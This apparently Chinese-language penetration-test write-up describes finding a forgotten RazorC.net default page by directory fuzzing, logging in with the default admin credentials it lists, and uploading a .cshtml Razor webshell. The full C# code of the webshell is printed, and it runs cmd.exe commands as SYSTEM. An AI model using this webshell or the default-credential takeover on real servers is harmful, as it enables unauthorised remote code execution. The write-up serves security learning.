.cshtml是什么? 可能一些人知道,但是我确定很大一部分人是不知道的。.cshtml是MVC3之后新增的视图文件,跟原先的aspx很相似。
404错误
做一次外部安全评估之前,我一般从被动信息收集开始,收集过程中使用多个工具,如Sublister,DNS查询,Google dork和SSL证书,找到尽可能多的资源。通过这些方式收集到的信息,有时候我们打开一个网站,返回的响应是403或者404。
作为一个"黑客"或者安全人士,我们无法容忍给出的403错误,我需要了解服务器的架构,会不会存在多余的信息,或者存在默认的页面。
我喜欢使用fuzz工具fuzz网站目录及文件,我常用的fuzz工具是DirBuster,由于DirBuster单纯的使用字典来fuzz目录,那么我们需要长期维护自己的字典。打开一个网站的跟目录,返回404的错误,但是我运行DirBuster几分钟之后,得到了一个路径"vulnerability.com/application/Default",返回200错误。
访问管理控制台
使用浏览器打开这个网址的时候,发现是一个默认的页面,可能是管理员忘记删除。默认页面Razorc.Net。
RazorC是使用Razor语法的CMS。Razor是ASP.Net Razor,它是用于使用C#或Visual Basic创建动态网站的语言。我注意到上图中有最后一行有趣的内容。“Go to your_domain.com/rcAdmin to access control panel (default user: “admin”, pwd: “razorc”)”
如果忘记删除这个默认页面及忘记更改默认密码。
通过测试,管理员忘记删除更改默认密码,我们可以登录到管理控制台,这时候更接近我们的目标,我们来通过后台获取一个webshell。
上传webshell
Razorc.net在他们的页面描述,你非常容易改变现有的页面布局。我快速查看管理控制台,发现可以编辑每个页面的内容。我决定学习Razor语法,学会如何使用它。
熟悉Razor的语法以及它的工作原理
Main Razor Syntax Rules for C#
Razor code blocks are enclosed in @{ … } Inline expressions (variables and functions) start with @ Code statements end with semicolon Variables are declared with the var keyword Strings are enclosed with quotation marks C# code is case sensitive C# files have the extension .cshtml
通过学习,我知道了Razor是一种模板语言,具有与其他同类语言相似的语法。它使用C#来创建动态内容,它在执行的服务器端生成用户的视图。最后,文件的扩展名为.cshtml,正如我们在帖子开头提到的那样。现在我们来编写一些C#代码来实现Razor语法之后的Remote命令执行。
经过一些测试,我们得到以下代码。
@using System.CodeDom.Compiler; @using System.Diagnostics; @using System.Reflection; @using System.Web.Compilation; @functions { string ExecuteCommand(string command, string arguments = null) { var output = new System.Text.StringBuilder(); var process = new Process(); var startInfo = new ProcessStartInfo { FileName = command, Arguments = arguments, WorkingDirectory = HttpRuntime.AppDomainAppPath, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; process.StartInfo = startInfo; process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data); process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data); process.Start(); process.BeginOutputReadLine(); process.BeginErrorReadLine(); process.WaitForExit(); return output.ToString(); } } @{ var cmd = ExecuteCommand("cmd.exe", "/c whoami"); } Output of the injected command (by Niemand): @cmd
我们通过RazorC管理控制台将此的代码保存在.cshtml文件中:访问.cshtml文件,输出nt authoritysystem
代码被执行,意味可以执行远程执行代码。
结论
刚开始渗透测试的时候并不期望在服务器上找到漏洞显而易见的漏洞。我们在扫描服务器这几天,有很多存活的机器但是没有提供应用程序。但是我们发现默认页面之后,继续利用这个默认页面进行信息收集,直到我们得到目标及服务器。
说实话,第一次实验没有拿到webshell。因为我们发现RazorC.net是一种模板语言不知道如何使用它,但是有很多关于互联网上的Razor语法的信息,当然我们开始尝试简单的学习:
@{ var weekDay = DateTime.Now.DayOfWeek; } Today is @weekDay
通过学习,我们了解Razor语法跟工作原理之后才开始上传我们的webshell。